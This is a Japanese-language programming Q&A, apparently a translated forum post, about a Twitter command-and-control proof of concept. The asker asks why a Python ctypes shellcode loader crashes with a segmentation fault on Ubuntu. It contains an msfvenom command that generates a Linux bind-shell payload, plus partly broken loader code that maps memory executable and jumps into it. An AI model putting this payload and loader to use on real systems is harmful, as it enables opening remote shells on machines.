背景:
twittor に類似したSPSEのViviek教授に触発されたTwitter C&Cの概念実証を記述し、プロジェクトにはシェルコードを挿入してpythonのプログラム内で実行する機能が含まれています。ただし、機能をクロスプラットフォームにしたかったのですが、Windowsシステムでしか機能しませんでした。
問題:ubuntuサーバー12.04.5 LTSでpythonスクリプトを実行すると、出力は
Segmentation fault (core dumped)
つまり、権限のないメモリへのアクセスが拒否されます。これは奇妙なソースコードのb/cです。私もcytpes.mprotect(allocated_space、space_size、7)を設定しています<== 4 + 2 + 1はwrx権限用
コマンドを使用して生成されたシェルコード:
msfvenom --payload linux/x86/Shell/bind_tcp --format py --Arch x86 --bad-char "\x00\x20\x0d"
Pythonスクリプト:
#!/usr/bin/env python
import ctypes
import os
# please comment out the appropriate payload for the other platforms
# this below is for windows Shell bind tcp listening at 4444
#buf = ""
#buf += "shellcode..."
# below is for linux
buf = ""
buf += "shellcode..."
def main(shellcode):
if os.name == 'posix':
try:
libc = ctypes.CDLL('libc.so.6')
sc_ptr = ctypes.c_char_p(shellcode)
size = len(shellcode)
addr_freespace = ctypes.c_void_p(libc.valloc(size))
ctypes.memmove(addr_freespace, sc_ptr, size)
libc.mprotect(addr_free_space, size, 1 | 2 | 4) # changed to 7 for all three access
run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
run()
sys.exit()
except Exception as e:
print "Error: " e
else:
try: # windows implementation
if __name__ == '__main__':
main(buf)
質問:セグメンテーションフォールトメッセージが表示される理由と、そのような問題をどのように修正すればよいですか?
クレジット:このスクリプトは、 sickle.py @ Line743-753
唯一の違いは、参照スクリプトがpython 3を使用しているのに対し、python 2.7。
[〜#〜]更新[〜#〜]:
Pdbでのプログラムの実行を含む、多くの試行錯誤の後。次の行の後にセグメンテーションフォールトエラーが発生しました。
run()
これがなぜ起こっているのか誰かが説明できますか?
VMマシンはx64アーキテクチャであり、32ビットシェルコードを提供しましたが、私の側にはひどいミスがありましたが、最終的に謎は解決しました。